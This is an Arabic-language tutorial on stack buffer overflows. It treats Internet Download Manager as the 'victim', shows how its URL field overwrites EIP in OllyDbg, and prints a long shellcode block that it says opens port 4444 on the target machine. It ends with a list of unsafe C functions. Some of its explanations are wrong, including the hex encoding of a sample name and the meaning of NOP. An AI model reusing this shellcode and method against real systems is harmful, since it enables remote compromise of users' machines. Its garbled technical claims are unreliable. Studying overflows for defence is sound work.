--------------------------------------------------------------------------------------------------------
*****************************************************************
__________________________________________________________________________
بسم الله الرحمن الرحيم
مفهوم الStack ?

الكوب : رمزتها بال ESP
push : تعنى "احفظ داخل الESP " واشرت اليها بحفظ اسم"eslam"
pop : تعنى "اخذ اى قيمه داخل الESP " واشرت اليها باخذ
اسم "eslam "
ملحوظه : عندما تقوم الpush بحفظ اسم او اى مايكون لو كبر الاسم
تقوم بتجزئته مثلا push 449379 و push 468975
هذه الارقام تقابلها الحروف بالHEX بمعنى : esl = 449379 ستاخذ الجزء الاول
و am=468975 لتاخذ الجزء الثانى ,,, لتصبح "eslam "
وايضا الpop عندما تاخذ قيمه من الESP نفس عمل الpush
pop 449379 , pop 468975 الخ....
Stack : يتم تخزين فيه المتغيرات كلها ما عدا التى تتعامل مع الذاكره
مثل الpointer , array "المصفوفات" و "المؤاشرات" يعتمدوا على الHeap ولنا راجعه فى الجزء
الثالث ان شاء الله
تعرف على الStack OverFlOw ?
Internet Download Manager معظم العرب يستخدمونه سيكون ضحيتنا اليوم :D اخر اصدار
ارفقه فى برنامج الOlly ثم اضغط F9 ستشاهد البرنامج يعمل
1- مدخل "URL "

2- قم بالكتابه فى المدخل بحرف A لحد متزهق :D
اظغط ENTER لتتفاجاه فى الOllY
3- تغير الEIP الى 0x41414141
ملحوظه ال41 = A بالHEX وتختلف فى ان كان الحرف كبير او صغير a = 61
ما هو الEIP ?
هو ريجستر : امر الرجوع لبدايه راس البرنامج , لا تقلق ستشاهد بالتفصيل مهمته.
ايضا هذا الرجيستر يستخدم فى الفيروسات !! نعم
كيف يتم زرع الVIRUS فى البرنامج , والبرنامج يعمل بكل طاقته الحيويه ولا يتاثر!!
ان شاء الله هتكون سلسله منفرده بعد لما اخلص ديه ان شاء الله
فى الدرس السابق لم اسمى الاسماء يعنى مثلا
1- بدايه راس البرنامج المفروض كانت تسمى ال "Ep "
2- وامر رجوع البرنامج يسمى " EIP " لبدايه راس البرنامج
نحن شاهدنا الثغره من الخارج تعالى نراها من الداخل!!
تحليل الثغره من الداخل!!!
طبعا الصوره شرحت نفسيها :)
كيف تكتب استثمار للStack OverFlOw ?
1-كتابه header للبرنامج بمعنى تحويل البرنامج لopcode او SHellCoDE لماذا!!
لان الثغره محليه بمعنى تشتغل على جهازك فقط نحن نقوم بتحويلها للSHEellcode
ليقوم الضحيه بتشغيل الshellcode وطبعا هو البرنامج ولكن محول الى /x77/x45/xd5 وهكذا
2- وضع NOP = 90909090 بالHEX لتقوم بالكتابه على ال"EIP" بدلا من حرف الA
وتعنى اوقف النقطه هذه No Operation Point
3- ثم نضع الSHellCode الذى نريده هذا يفتح Port 4444 فى جهاز الضحيه
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
3- ثم نضع رقم الداله المصابه من الESP بالOlly

الشكل العام لها....
الدوال المميته وكيف نحمى انفسنا منها ؟!!
1- gets()
2-fgets()
3-strcpy()
4-strncpy()
5-strcat()
6-strncat()
7-sprintf()
8-snprintf()
9-sscanf()
10-vscanf()
11-fscanf()
12-lstrcat
الحل لهم قوم بغلق الargument واغلق دائما اى string
الى هنا انتى بنا الجزء الثانى بحمد لله